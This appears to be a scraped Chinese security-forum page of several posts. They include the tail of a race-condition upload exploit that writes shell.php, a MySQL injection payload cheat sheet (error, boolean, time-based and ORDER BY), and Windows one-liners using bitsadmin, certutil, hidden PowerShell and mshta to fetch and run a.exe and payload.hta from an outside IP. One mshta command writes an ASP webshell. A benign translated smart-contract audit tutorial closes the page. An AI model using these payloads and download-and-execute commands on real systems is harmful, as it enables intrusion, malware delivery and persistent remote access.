pool = Pool(10)
pool.map(CompeteUpload, range(10000))
pool.close()
pool.join()
可以看到通过多进程同时上传时可以成功在文件删除之前访问到该文件
在服务器目录下可以看到成功写入shell.php

1.png


1.png



未完待续
 

mysql部分注入检测语句

Web安全渗透ff1209125020 发表了文章 • 1 个评论 • 163 次浏览 • 2018-06-04 10:02 • 来自相关话题

一、判断变量处理和单引号括号有没有关系:

1、加 " ' ": http://127.0.0.1/sqli/less-1/?id=1' ,返回正常就判断是否和双引号有关系

输出异常:最后在加上 “--+” :http://127.0.0.1/sqli/less-1/?id=1' --+,输出正常,参数处理为 id='$id',还输出异常则可能“-”被过滤,尝试  id=1' and '1'='1  和 id=1' and '1'='2

2、尝试:id=1')

输出异常:最后在加上 “--+”:http://127.0.0.1/sqli/less-1/?id=1') --+,输出正常,参数处理为 id=('$id'),还输出异常则可能“-”被过滤,尝试  id=1') and ('1')=('1  和 id=1') and ('1')=('2

3、尝试:id=1'))

输出异常:最后在加上 “--+”:http://127.0.0.1/sqli/less-1/?id=1')) --+,输出正常,参数处理为 id=(('$id')),还输出异常则可能“-”被过滤,尝试  id=1')) and (('1')=(('1  和 id=1')) and (('1'))=(('2

二、判断变量处理和双引号有没有关系,和以上步骤一样。

1)“-”过滤,不用注释符号,使用and闭合

2)“and”“or”过滤,使用大小写混写(ANd),或者在and单词之间再写一个and(anandd)。还有使用“&&”和“||”分别代替“and”和“or”

三、尝试:id=1-1  或者  1%2b1   //%2b 是加号的URL编码,因为加号在URL中有特殊意义,表示空格,所以这里需要用这种转码方式来用加号

返回两个数计算过后查询的结果,可能为

1)整型:id=$id

2)id=($id)

3)id=(($id))

如果返回原来的页面,则是经过单引号或者双引号处理或者第一个数字后面的字符被过滤,尝试其他方法

四、判断时间盲注

比如一个URL:http://127.0.0.1/sqli/less-10/?id=1

输入什么值都显示的页面一致

1、 id=1 and sleep(4) --+  或者 id=1) and sleep(4)  --+ //延时打开网页,变量处理为:id=$id

2、id=1' and sleep(4) --+ 或者 id=1" and sleep(4) --+  //延时打开网页,字符串处理为:id='$id' 或者 id="$id"

3、id=1') and sleep(4) --+ 或者 id=1')) and sleep(4) --+ //延时打开网页,字符串处理为:id=('$id') 或者 id=("$id"),

五、判断order by sort 注入

1、修改数字,排序发生变化,为:sort=$sort  或者sort=($sort),sort不会是字符类型的,因为order by [所有字符] ,排序都是一样的
2、 利用bool注入判断有没有order by 注入。sort=rand(0) 和  sort=rand(1) 排序是不一样的。尝试:sort=rand(()) //必须是双括号.例:sort=rand(((left((select version()),1)=5)))  //里面的left()函数返回值和5作比较计算出逻辑值0或1










 
上面这两个排序是一样的,我的版本号第一位是5,再看看第一位等于5时怎么排序





 
这样就可以然后逐位猜解了。

3、利用报错注入order by

如果构造参数值能造成页面显示出错误,可以使用报错注入





 
就像id参数那样注入,后面跟and 然后报错函数





  查看全部
一、判断变量处理和单引号括号有没有关系:

1、加 " ' ": http://127.0.0.1/sqli/less-1/?id=1' ,返回正常就判断是否和双引号有关系

输出异常:最后在加上 “--+” :http://127.0.0.1/sqli/less-1/?id=1' --+,输出正常,参数处理为 id='$id',还输出异常则可能“-”被过滤,尝试  id=1' and '1'='1  和 id=1' and '1'='2

2、尝试:id=1')

输出异常:最后在加上 “--+”:http://127.0.0.1/sqli/less-1/?id=1') --+,输出正常,参数处理为 id=('$id'),还输出异常则可能“-”被过滤,尝试  id=1') and ('1')=('1  和 id=1') and ('1')=('2

3、尝试:id=1'))

输出异常:最后在加上 “--+”:http://127.0.0.1/sqli/less-1/?id=1')) --+,输出正常,参数处理为 id=(('$id')),还输出异常则可能“-”被过滤,尝试  id=1')) and (('1')=(('1  和 id=1')) and (('1'))=(('2

二、判断变量处理和双引号有没有关系,和以上步骤一样。

1)“-”过滤,不用注释符号,使用and闭合

2)“and”“or”过滤,使用大小写混写(ANd),或者在and单词之间再写一个and(anandd)。还有使用“&&”和“||”分别代替“and”和“or”

三、尝试:id=1-1  或者  1%2b1   //%2b 是加号的URL编码,因为加号在URL中有特殊意义,表示空格,所以这里需要用这种转码方式来用加号

返回两个数计算过后查询的结果,可能为

1)整型:id=$id

2)id=($id)

3)id=(($id))

如果返回原来的页面,则是经过单引号或者双引号处理或者第一个数字后面的字符被过滤,尝试其他方法

四、判断时间盲注

比如一个URL:http://127.0.0.1/sqli/less-10/?id=1

输入什么值都显示的页面一致

1、 id=1 and sleep(4) --+  或者 id=1) and sleep(4)  --+ //延时打开网页,变量处理为:id=$id

2、id=1' and sleep(4) --+ 或者 id=1" and sleep(4) --+  //延时打开网页,字符串处理为:id='$id' 或者 id="$id"

3、id=1') and sleep(4) --+ 或者 id=1')) and sleep(4) --+ //延时打开网页,字符串处理为:id=('$id') 或者 id=("$id"),

五、判断order by sort 注入

1、修改数字,排序发生变化,为:sort=$sort  或者sort=($sort),sort不会是字符类型的,因为order by [所有字符] ,排序都是一样的
2、 利用bool注入判断有没有order by 注入。sort=rand(0) 和  sort=rand(1) 排序是不一样的。尝试:sort=rand(()) //必须是双括号.例:sort=rand(((left((select version()),1)=5)))  //里面的left()函数返回值和5作比较计算出逻辑值0或1

1.png


222.png

 
上面这两个排序是一样的,我的版本号第一位是5,再看看第一位等于5时怎么排序

333.png

 
这样就可以然后逐位猜解了。

3、利用报错注入order by

如果构造参数值能造成页面显示出错误,可以使用报错注入

44.png

 
就像id参数那样注入,后面跟and 然后报错函数

55.png

 

Windows终端下载文件和执行远程文件

reber 发表了文章 • 1 个评论 • 254 次浏览 • 2018-05-29 10:35 • 来自相关话题

环境:Windows Server 2008 R2 Enterprise

0x00 bitsadmin下载文件bitsadmin /rawreturn /transfer getfile http://114.115.123.123/a.exe C:\Windows\Temp\a.exe
bitsadmin /rawreturn /transfer getpayload http://114.115.123.123/a.zip C:\Windows\Temp\a.zip
bitsadmin /transfer myDownLoadJob /download /priority normal http://114.115.123.123/a.exe C:\Windows\Temp\a.exe
0x01 certutil下载文件
保存在当前目录certutil -urlcache -split -f http://114.115.123.123/a.exe a.exe
有时会下载二进制文件的base64编码后的字符串,然后再解码本地:certutil -encode cc.exe base64.txt
目标:certutil -urlcache -split -f http://114.115.123.123/base64.txt
目标:certutil -decode base64.txt cc.exe
文件会以二进制形式缓存到目录:C:\Users\Administrator\AppData\LocalLow\Microsoft\CryptnetUrlCache\Contentcertutil -urlcache -f http://114.115.123.123/a.exe

0x02 powershell下载文件powershell (new-object System.Net.WebClient).DownloadFile("http://114.115.123.123/a.exe","C:\Windows\Temp\a.exe")

#-w hidden 下载后终端自动退出
powershell -w hidden -c (new-object System.Net.WebClient).DownloadFile("http://114.115.123.123/a.exe","C:\Windows\Temp\a.exe")
 
0x03 mshta下载文件与执行远程文件
使用mshta命令的文件都会被缓存到:C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files1、执行远程hta文件
mshta http://114.115.123.123/payload.hta
mshta http://114.115.123.123/a.exe
#payload.hta和a.exe都会被缓存在IE的缓存目录
payload.hta<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
</head>
<body>

demo

</body>
</html>
2、写文件的方法mshta vbscript:createobject("scripting.filesystemobject").createtextfile("a.asp",2,ture).writeline("<%execute(request('l'))%>")(window.close)

Reference(侵删):
[]https://xianzhi.aliyun.com/forum/topic/1654[/][]https://evi1cg.me/archives/Tricks.html[/][]https://3gstudent.github.io/3gstudent.github.io/渗透测试中的certutil.exe/[/] 查看全部
环境:Windows Server 2008 R2 Enterprise

0x00 bitsadmin下载文件
bitsadmin /rawreturn /transfer getfile http://114.115.123.123/a.exe C:\Windows\Temp\a.exe
bitsadmin /rawreturn /transfer getpayload http://114.115.123.123/a.zip C:\Windows\Temp\a.zip
bitsadmin /transfer myDownLoadJob /download /priority normal http://114.115.123.123/a.exe C:\Windows\Temp\a.exe

0x01 certutil下载文件
保存在当前目录
certutil -urlcache -split -f http://114.115.123.123/a.exe a.exe

有时会下载二进制文件的base64编码后的字符串,然后再解码
本地:certutil -encode cc.exe base64.txt
目标:certutil -urlcache -split -f http://114.115.123.123/base64.txt
目标:certutil -decode base64.txt cc.exe

文件会以二进制形式缓存到目录:C:\Users\Administrator\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
certutil -urlcache -f http://114.115.123.123/a.exe


0x02 powershell下载文件
powershell (new-object System.Net.WebClient).DownloadFile("http://114.115.123.123/a.exe","C:\Windows\Temp\a.exe")

#-w hidden 下载后终端自动退出
powershell -w hidden -c (new-object System.Net.WebClient).DownloadFile("http://114.115.123.123/a.exe","C:\Windows\Temp\a.exe")

 
0x03 mshta下载文件与执行远程文件
使用mshta命令的文件都会被缓存到:C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files1、执行远程hta文件
mshta http://114.115.123.123/payload.hta
mshta http://114.115.123.123/a.exe
#payload.hta和a.exe都会被缓存在IE的缓存目录

payload.hta
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
</head>
<body>

demo

</body>
</html>

2、写文件的方法
mshta vbscript:createobject("scripting.filesystemobject").createtextfile("a.asp",2,ture).writeline("<%execute(request('l'))%>")(window.close)


Reference(侵删):
    []https://xianzhi.aliyun.com/forum/topic/1654[/][]https://evi1cg.me/archives/Tricks.html[/][]https://3gstudent.github.io/3gstudent.github.io/渗透测试中的certutil.exe/[/]

既然预编译参数化查询可以防止sql注入,为什么还要用过滤sql关键字的方法去防御

Web安全渗透reber 回复了问题 • 1 人关注 • 1 个回复 • 349 次浏览 • 2018-05-24 15:41 • 来自相关话题

智能合约代码审计

代码白盒测试kakaxi 发表了文章 • 0 个评论 • 163 次浏览 • 2018-05-23 10:37 • 来自相关话题

最近几年区块链风头正旺,也有不少企业有代码安全审计的需求,因此也从网上搜索了业内的相关技术类的网站,本篇文章文章以实例编写翻译,感觉不错,分享到社区作为笔记
 
为了教会你如何进行审计,我会审计我自己写的一份合约。这样,你可以看到可以由你自行完成的真实世界的审计。

现在你也许会问:智能合约的审计到底是指什么?

智能合约审计就是仔细研究代码的过程,在这里就是指在把Solidity合约部署到以太坊主网络中并使用之前发现错误、漏洞和风险;因为一旦发布,这些代码将无法再被修改。这个定义仅仅是为了讨论目的。

请注意,审计不是验证代码安全的法律文件。没有人能100%确保代码不会在未来发生错误或产生漏洞。这仅仅是保证你的代码已被专家校订过,基本上是安全的。

讨论可能的改进,主要是为了找出那些可能会危害到用户的以太币的风险和漏洞。

好了,现在我们来看看一份智能合约审计报告的结构:
[]免责声明:在这里你会说审计不是一个具有法律约束力的文件,它不保证任何东西。这只是一个讨论性质的文件。[/][]审计概览和优良特性:快速查看将被审计的智能合约并找到良好的实践。[/][]对合约的攻击:在本节中,你将讨论对合约的攻击以及会产生的结果。这只是为了验证它实际上是安全的。[/][]合约中发现的严重漏洞:可能严重损害合约完整性的关键问题。那些会允许攻击者窃取以太币的严重问题。[/][]合约中发现的中等漏洞:那些可能损害合约但危害有限的漏洞。比如一个允许人们修改随机变量的错误。[/][]低严重性的漏洞:这些问题并不会真正损害合约,并且可能已经存在于合约的已部署版本中。[/][]逐行评注:在这部分中,你将分析那些具有潜在改进可能的最重要的语句行。[/][]审计总结:你对合约的看法和关于审计的最终结论。[/]

将这份结构说明保存在一个安全的地方,这是你安全地审计智能合约时需要做的全部内容。它将确实地帮助你找到那些难以发现的漏洞。

我建议你从第7点“逐行评注”开始,因为当逐行分析合约时,你会发现最重要的问题,你会看到缺少了什么,以及哪些地方应该修改或改进。

在后文中,我会给你展示一个免责声明,你可以把它作为审计的第一步。你可以从第1点开始看下去,直到结束。

接下来,我将向你展示使用这样的结构完成的审计结果,这是我针对我自己写的一个合约来做的。你还将在第3点中看到对于智能合约可能受到的最重要的攻击的介绍。

赌场合约审计

你可以在Github上看到审计的代码:https://github.com/merlox/casino-ethereum/blob/master/contracts/Casino.sol

以下就是我的合约Casino.sol的审计报告:

序言

在这份智能合约审计报告中将包含以下内容:
[]免责声明[/][]审计概览和优良特性[/][]对合约的攻击[/][]合约中发现的严重漏洞[/][]合约中发现的中等漏洞[/][]低严重性的漏洞[/][]逐行评注[/][]审计总结[/]

1、免责声明

审计不会对代码的实用性、代码的安全性、商业模式的适用性、商业模式的监管制度或任何其他有关合约适用性的说明以及合约在无错状态的行为作出声明或担保。审计文档仅用于讨论目的。


2、概述该项目只有一个包含142行Solidity代码的文件 Casino.sol。所有的函数和状态变量的注释都按照标准说明格式(即Ethereum Nature Specification Format,缩写为natspec,它是以太坊社区官方的代码注释格式说明,原文参考github:【https://github.com/ethereum/wiki/wiki/Ethereum-Natural-Specification-Format】,译者注)进行编写,这可以帮助我们快速地理解程序是如何工作。

该项目使用了一个中心化的服务实现了Oraclize API,来在区块链上生成真正的随机数字。
 

译者注:
Oraclize是一种为智能合约和区块链应用提供数据的独立服务,官网:【http://www.oraclize.it】。因为类似于比特币脚本或者以太坊智能合约这样的区块链应用无法直接获取链外的数据,所以就需要一种可以提供链外数据并可以与区块链进行数据交互的服务。Oraclize可以提供类似于资产/财务应用程序中的价格信息、可用于点对点保险的天气信息或者对赌合约所需要的随机数信息。
这里是指在这个项目的源代码中引入了一个实现了Oraclize API的开源的Solidity代码库。


在区块链上生成随机数字是一个相当困难的课题,因为以太坊的核心价值之一就是可预测性,其目标是确保没有未定义的值。

译者注:
这里之所以说在区块链上生成随机数很困难,是因为,无论采用何种算法,都需要使用时间戳作为生成随机数的“种子”(因为时间戳是计算机领域内唯一可以理论上保证“不会重复”的数值);而在智能合约中取得时间戳只能依赖某个节点(矿工)来做到。这就是说,合约中取得的时间戳是由运行其代码的节点(矿工)的计算机本地时间决定的;所以这个节点(矿工)的可信度就成了最大的问题。理论上,这个本地时间是可以由恶意程序伪造的,所以这种方法被认为是“不安全的”。通行的做法是采用一个链外(off-chain)的第三方服务,比如这里使用的Oraclize,来获取随机数。因为Oraclize是一种公共基础服务,不会针对特定的合约“作假”,所以这可以认为是“相对安全的”。


因为使用Oraclize可以在链外生成随机数字,所以使用它来产生可信的数字被认为是一种很好的做法。 它实现了修饰符和一个回调函数,用于验证信息是否来自可信实体。

此智能合约的目的是参与随机抽奖,人们在1到9之间下注。当有10个人下注时,奖金会自动分配给赢家。每个用户都有一个最低下注金额。

每个玩家在每局游戏中只能下一次注,并且只有在参与者数量达到要求时才会产生赢家号码。

优秀特性

这个合约提供了一系列很好的功能性代码:

使用Oraclize生成安全的随机数并在回调中进行验证。
修改器检查游戏结束条件,阻止关键功能,直到奖励得以分配。
做了较多的检查来验证bet函数的使用是合适的。
只有在下注数达到最大条件时才安全地生成赢家号码。

3、对合约进行的攻击

为了检查合约的安全性,我们测试了多种攻击,以确保合约是安全的并遵循了最佳实践。

重入攻击(Reentrancy attack)

此攻击通过递归地调用ERC20代币中的 call.value()方法来提取合约中的以太币,如果用户在发送以太币之后才更新发送者的 balance(即账户余额,译者注)的话,攻击就会生效。

当你调用一个函数将以太币发送给合约时,你可以使用fallback函数再次执行该函数,直到以太币被从合约中提取出来。

由于该合约使用了 transfer()而不是 call.value(),因此不存在重入攻击的风险;因为transfer函数只允许使用2300 gas,这只够用来产生事件日志数据并在失败时抛出异常。这样就无法递归调用发送者函数,从而避免了重入攻击。

因为transfer函数只会在每局游戏结束,向赢家分发奖励时才会被调用一次,所以重入式攻击在这里不会导致任何问题。

请注意,调用此函数的条件是投注次数大于或等于10次,但这个投注次数只有在 distributePrizes()函数结束时才会被重置为0,这是有风险的;因为理论上是可以在投注次数被清零之前调用该函数并执行所有逻辑的。

所以我的建议是在函数开始时就更新条件、将投注次数设置为0,以确保 distributePrizes()在被超出预期地多次调用时不会产生实际效果。

数值溢出(Over and under flows)

当一个 uint256类型的变量值超出上限2**256(即2的256次方,译者注)时会发生溢出。其结果是变量值变为0,而不是更大。

例如,如果你想把一个unit类型的变量赋予大于2**256的值,它会简单地变为0,这是危险的。

另一方面,当你从0值中减去一个大于0的数字时,则会发生下溢出(underflow)。例如,如果你用0减去1,结果将是2**256,而不是-1。

在处理以太币的时候,这非常危险;然而在这个合约中并不存在减法操作,所以也不会有下溢出的风险。

唯一可能发生溢出的情况是当你调用 bet()向某个数字下注时, totalBet变量的值会相应增加:totalBet += msg.value;有人可能会发送大量的以太币而导致累加结果超过2**256,这会使totalBet变为0。这当然是不大可能发生的,但风险是有的。

所以我推荐使用类似于[OpenZeppelin’s SafeMath.sol]这样的库。它可以使你的计算处理更安全,免去发生溢出(overflow或者underflow)的风险。

可以将其导入来使用,对uint256类型激活它,然后使用 .mul()、 .add()、 .sub()和 .div()这些函数。例如:import './SafeMath.sol'; contract Casino { using SafeMath for uint256; function example(uint256 _value) { uint number = msg.value.add(_value); } }重放攻击(Replay attack)

重放攻击是指在像以太坊这样的区块链上发起一笔交易,而后在像以太坊经典这样的另一个链上重复这笔交易的攻击。(就是说在主链上创建一个交易之后,在分岔链上重复同样的交易。译者注。)

以太币会像普通的交易那样,从一个链转移到另一个链。

基于由Vitalik Buterin提出的EIP 155【https://github.com/ethereum/EIPs/blob/master/EIPS/eip-155.md】,从Geth的1.5.3版本和Parity的1.4.4版本开始,已经增加了对这个攻击的防护。

译者注:
EIP,即Ethereum Improvement Proposal(以太坊改进建议),官方地址【https://github.com/ethereum/EIPs】是由以太坊社区所共同维护的以太坊平台标准规范文档,涵盖了基础协议规格说明、客户端API以及合约标准规范等等内容。


所以使用合约的用户们需要自己升级客户端程序来保证针对这个攻击的安全性。

重排攻击(Reordering attack)

这种攻击是指矿工或其他方试图通过将自己的信息插入列表(list)或映射(mapping)中来与智能合约参与者进行“竞争”,从而使攻击者有机会将自己的信息存储到合约中。

当一个用户使用 bet()函数下注以后,因为实际的数据是存储在链上的,所以任何人都可以简单地通过调用公有状态变量 playerBetsNumber这个mapping看到所下注的数字。

这个mapping是用来表示每个人所选择的数字的,所以,结合交易数据,你就可以很容易地看到他们各自下注了多少以太币。这可能会发生在 distributePrizes()函数中,因为它是在随机数生成处理的回调中被调用的。

因为这个函数起作用的条件在其结束之前才会被重置,所以这就有了重排攻击(reordering attack)的风险。

因此,我的建议就像我之前谈的那样:在 distributePrizes()函数开始时就重置下注人数来避免其产生非预期的行为。

短地址攻击(Short address attack)

这种攻击是由Golem团队发现的针对ERC20代币的攻击:

一个用户创建一个空钱包,这并不难,它只是一串字符,例如:【0xiofa8d97756as7df5sd8f75g8675ds8gsdg0】
然后他使用把地址中的最后一个0去掉的地址来购买代币:也就是用【0xiofa8d97756as7df5sd8f75g8675ds8gsdg】作为收款地址来购买1000代币。
如果代币合约中有足够的余额,且购买代币的函数没有检查发送者地址的长度,以太坊虚拟机会在交易数据中补0,直到数据包长度满足要求
以太坊虚拟机会为每个1000代币的购买返回256000代币。这是一个虚拟机的bug,并且仍未被修复。所以如果你是一个代币合约的开发者,请确保对地址长度进行了检查。

但我们这个合约因为并不是ERC20代币合约,所以这种攻击并不能适用。

你可以参考这篇文章【http://vessenes.com/the-erc20-short-address-attack-explained/】来获得更多关于这种攻击的信息。

4、合约中发现的严重漏洞

审计中并未发现严重漏洞。

5、合约中发现的中等漏洞

checkPlayerExists()应该是一个常态(constant)函数,然而实际上它并不是。因此这增加了调用这个函数的gas消耗,当有大量对此函数的调用发生时会产生很大的问题。

应该把它改为常态函数来避免昂贵的消耗gas的执行。

译者注:
Solidity语言中的常态(constant)函数,指的是在运行时不会改变合约状态的函数,也就是不会改变合约级别的状态变量(state variable)的值的函数。因为状态变量的更改是会保存到链上的,所以对状态变量的更改都要消耗gas(来支付给矿工),这是非常昂贵的。在本例中,因为 checkPlayerExists()函数中访问了状态变量 playerBetsNumber来判断是否已经有人下过注了,虽然这是个合约级别的变量,但这个函数并没有改变它的值,所以这个函数应该声明为 constant以节省其对gas的消耗。


6、低严重性的漏洞

你在 __callback()函数和 pay()函数的开始位置使用了 assert()而不是 require()。

assert()和 require()大体上是相同的,但assert函数一般用来在更改合约状态之后做校验,而require通常在函数的开头用做输入参数的检查。

你定义了一个合约级别的变量players,但没有任何地方使用它。如果你不打算使用它,就把它删除。

7、逐行评注

第1行:你在版本杂注(pragma version)中使用了脱字符号(^)来指定使用高于 0.4.11版本的编译器。

这不是一个好实践。因为大版本的变化可能会使你的代码不稳定,所以我推荐使用一个固定的版本,比如‘0.4.11’。

第14行:你定义了一个 uint类型的变量 totalBet,这个变量名是不合适的,因为它保存的是所有下注的合计值。我推荐使用 totalBets作为变量名,而不是 totalBet。
第24行:你用大写字母定义了一个常量(constant variable),这是一个好实践,可以使人知道这是个固定的、不可变的变量。
第30行:就像我之前提到的,你定义了一个未使用的数组 player。如果你不打算使用它,就把它删除。
第60行:函数 checkPlayerExists()应该被声明为 constant。因为它并没有更改合约状态,把它声明为 constant可以节省下每次运行它所要消耗的gas。

即使函数默认是public类型,但显式地给函数指定类型仍然是一个好实践,它可以避免任何困惑。这里可以在这个函数声明的末尾确切地加上public声明。

第61行:你没有检查输入参数 player被正常传入且格式正确。请确保在函数开头使用 require(player != address(0));语句来检查传入地址是否为0。为了以防万一,最好也要检查地址的长度是否符合要求来应对短地址攻击。
第69行:同样建议给 bet()函数加上可见度(visibilty)关键字 public来避免任何困惑,以明确应该如何使用此函数。
第72行:使用 require()来检查函数输入参数,而不是 assert()。

同样的,在函数开头,一般更经常使用 require()。请把所有在函数开头使用的 assert()改为 require()。

第90行:你使用了一个对 msg.value的简单合计,在value值很大时这会导致溢出。所以我建议你每次对数值进行运算时都要检查是否会溢出。
第98行: generateNumberWinner()应该是 internal函数,因为你肯定不希望任何人都可以从合约以外执行它。

译者注:
在Solidity语言中, internal关键字的效果,与面向对象语言比如C++、Java中的protected类型基本一致,此关键字限定的函数或者状态变量,仅在当前合约及当前合约的子合约(contacts deriving from this contract)中可以访问。 private关键字则与其他语言中的此关键字相同,由其限定的函数或者状态变量仅在当前合约中可以访问。


第103行:你把 oraclize_newRandomDSQuery()函数的结果保存在了一个bytes32类型的变量中。调用callback函数并不需要这么做,而且你也没有在其他地方再用到这个变量,所以我建议不要用变量保存这个函数的返回值。
第110行: __callback()函数应该声明为 external,因为你只希望它从外部被调用。

译者注:
在Solidity中,函数关键字 public和 external在gas的消耗上是有区别的。因为 public的函数既可以在合约外调用,又可以在合约内调用,所以虚拟机会在运行时为其分配内存,拷贝其所用到的所有变量。而 external的函数只允许从合约外部进行调用,其调用会直接从calldata(即函数调用的二进制字节码数据)中获取参数,虚拟机不会为其分配内存并拷贝变量值,所以其gas消耗比 public的函数要低很多。


第117行:这里的 assert()应该使用 require(),就像我先前解释的那样。
第119行:你使用了 sha3()函数,但这并不是一个好的实践。实际的算法使用的是keccak256,并不是sha3。所以我建议这里更明确地改为使用 keccak256()。
第125行: distributePrizes()函数应该被声明为 internal。

译者注:
此函数与第98行的 generateNumberWinner()函数一样,声明为 internal或者 private都是可以的。区别仅在于你希不希望子合约中可以使用它们。


第129行:尽管你在这里用了一个变长数组的大小来控制循环次数,但其实也没有多糟糕,因为获胜者的数量被限制为小于100。

8、审计总结

总体上讲,这个合约的代码有很好的注释,清晰地解释了每个函数的目的。

下注和分发奖励的机制非常简单,不会带来什么大问题。

我最终的建议是需要更加注意函数的可见性声明,因为这对于明确函数应该供谁来执行的问题非常重要。然后就是需要在编码中考虑 assert、 require和 keccak的使用上的最佳实践。

这是一个安全的合约,可以在其运行期间保证资金安全。

结论

以上就是我使用我在开篇介绍过的结构所进行的审计。希望你确实学到了一些东西并且可以对其他智能合约进行安全审计了。

请继续学习合约安全知识、编码最佳实践以及其他实用知识,并努力提高

 
 转载声明:https://www.jianshu.com/p/6911364efc4b 查看全部
最近几年区块链风头正旺,也有不少企业有代码安全审计的需求,因此也从网上搜索了业内的相关技术类的网站,本篇文章文章以实例编写翻译,感觉不错,分享到社区作为笔记
 
为了教会你如何进行审计,我会审计我自己写的一份合约。这样,你可以看到可以由你自行完成的真实世界的审计。

现在你也许会问:智能合约的审计到底是指什么?

智能合约审计就是仔细研究代码的过程,在这里就是指在把Solidity合约部署到以太坊主网络中并使用之前发现错误、漏洞和风险;因为一旦发布,这些代码将无法再被修改。这个定义仅仅是为了讨论目的。

请注意,审计不是验证代码安全的法律文件。没有人能100%确保代码不会在未来发生错误或产生漏洞。这仅仅是保证你的代码已被专家校订过,基本上是安全的。

讨论可能的改进,主要是为了找出那些可能会危害到用户的以太币的风险和漏洞。

好了,现在我们来看看一份智能合约审计报告的结构:
    []免责声明:在这里你会说审计不是一个具有法律约束力的文件,它不保证任何东西。这只是一个讨论性质的文件。[/][]审计概览和优良特性:快速查看将被审计的智能合约并找到良好的实践。[/][]对合约的攻击:在本节中,你将讨论对合约的攻击以及会产生的结果。这只是为了验证它实际上是安全的。[/][]合约中发现的严重漏洞:可能严重损害合约完整性的关键问题。那些会允许攻击者窃取以太币的严重问题。[/][]合约中发现的中等漏洞:那些可能损害合约但危害有限的漏洞。比如一个允许人们修改随机变量的错误。[/][]低严重性的漏洞:这些问题并不会真正损害合约,并且可能已经存在于合约的已部署版本中。[/][]逐行评注:在这部分中,你将分析那些具有潜在改进可能的最重要的语句行。[/][]审计总结:你对合约的看法和关于审计的最终结论。[/]


将这份结构说明保存在一个安全的地方,这是你安全地审计智能合约时需要做的全部内容。它将确实地帮助你找到那些难以发现的漏洞。

我建议你从第7点“逐行评注”开始,因为当逐行分析合约时,你会发现最重要的问题,你会看到缺少了什么,以及哪些地方应该修改或改进。

在后文中,我会给你展示一个免责声明,你可以把它作为审计的第一步。你可以从第1点开始看下去,直到结束。

接下来,我将向你展示使用这样的结构完成的审计结果,这是我针对我自己写的一个合约来做的。你还将在第3点中看到对于智能合约可能受到的最重要的攻击的介绍。

赌场合约审计

你可以在Github上看到审计的代码:https://github.com/merlox/casino-ethereum/blob/master/contracts/Casino.sol

以下就是我的合约Casino.sol的审计报告:

序言

在这份智能合约审计报告中将包含以下内容:
    []免责声明[/][]审计概览和优良特性[/][]对合约的攻击[/][]合约中发现的严重漏洞[/][]合约中发现的中等漏洞[/][]低严重性的漏洞[/][]逐行评注[/][]审计总结[/]


1、免责声明


审计不会对代码的实用性、代码的安全性、商业模式的适用性、商业模式的监管制度或任何其他有关合约适用性的说明以及合约在无错状态的行为作出声明或担保。审计文档仅用于讨论目的。



2、概述该项目只有一个包含142行Solidity代码的文件 Casino.sol。所有的函数和状态变量的注释都按照标准说明格式(即Ethereum Nature Specification Format,缩写为natspec,它是以太坊社区官方的代码注释格式说明,原文参考github:【https://github.com/ethereum/wiki/wiki/Ethereum-Natural-Specification-Format】,译者注)进行编写,这可以帮助我们快速地理解程序是如何工作。

该项目使用了一个中心化的服务实现了Oraclize API,来在区块链上生成真正的随机数字。
 


译者注:
Oraclize是一种为智能合约和区块链应用提供数据的独立服务,官网:【http://www.oraclize.it】。因为类似于比特币脚本或者以太坊智能合约这样的区块链应用无法直接获取链外的数据,所以就需要一种可以提供链外数据并可以与区块链进行数据交互的服务。Oraclize可以提供类似于资产/财务应用程序中的价格信息、可用于点对点保险的天气信息或者对赌合约所需要的随机数信息。
这里是指在这个项目的源代码中引入了一个实现了Oraclize API的开源的Solidity代码库。



在区块链上生成随机数字是一个相当困难的课题,因为以太坊的核心价值之一就是可预测性,其目标是确保没有未定义的值。


译者注:
这里之所以说在区块链上生成随机数很困难,是因为,无论采用何种算法,都需要使用时间戳作为生成随机数的“种子”(因为时间戳是计算机领域内唯一可以理论上保证“不会重复”的数值);而在智能合约中取得时间戳只能依赖某个节点(矿工)来做到。这就是说,合约中取得的时间戳是由运行其代码的节点(矿工)的计算机本地时间决定的;所以这个节点(矿工)的可信度就成了最大的问题。理论上,这个本地时间是可以由恶意程序伪造的,所以这种方法被认为是“不安全的”。通行的做法是采用一个链外(off-chain)的第三方服务,比如这里使用的Oraclize,来获取随机数。因为Oraclize是一种公共基础服务,不会针对特定的合约“作假”,所以这可以认为是“相对安全的”。



因为使用Oraclize可以在链外生成随机数字,所以使用它来产生可信的数字被认为是一种很好的做法。 它实现了修饰符和一个回调函数,用于验证信息是否来自可信实体。

此智能合约的目的是参与随机抽奖,人们在1到9之间下注。当有10个人下注时,奖金会自动分配给赢家。每个用户都有一个最低下注金额。

每个玩家在每局游戏中只能下一次注,并且只有在参与者数量达到要求时才会产生赢家号码。

优秀特性

这个合约提供了一系列很好的功能性代码:

使用Oraclize生成安全的随机数并在回调中进行验证。
修改器检查游戏结束条件,阻止关键功能,直到奖励得以分配。
做了较多的检查来验证bet函数的使用是合适的。
只有在下注数达到最大条件时才安全地生成赢家号码。

3、对合约进行的攻击

为了检查合约的安全性,我们测试了多种攻击,以确保合约是安全的并遵循了最佳实践。

重入攻击(Reentrancy attack)

此攻击通过递归地调用ERC20代币中的 call.value()方法来提取合约中的以太币,如果用户在发送以太币之后才更新发送者的 balance(即账户余额,译者注)的话,攻击就会生效。

当你调用一个函数将以太币发送给合约时,你可以使用fallback函数再次执行该函数,直到以太币被从合约中提取出来。

由于该合约使用了 transfer()而不是 call.value(),因此不存在重入攻击的风险;因为transfer函数只允许使用2300 gas,这只够用来产生事件日志数据并在失败时抛出异常。这样就无法递归调用发送者函数,从而避免了重入攻击。

因为transfer函数只会在每局游戏结束,向赢家分发奖励时才会被调用一次,所以重入式攻击在这里不会导致任何问题。

请注意,调用此函数的条件是投注次数大于或等于10次,但这个投注次数只有在 distributePrizes()函数结束时才会被重置为0,这是有风险的;因为理论上是可以在投注次数被清零之前调用该函数并执行所有逻辑的。

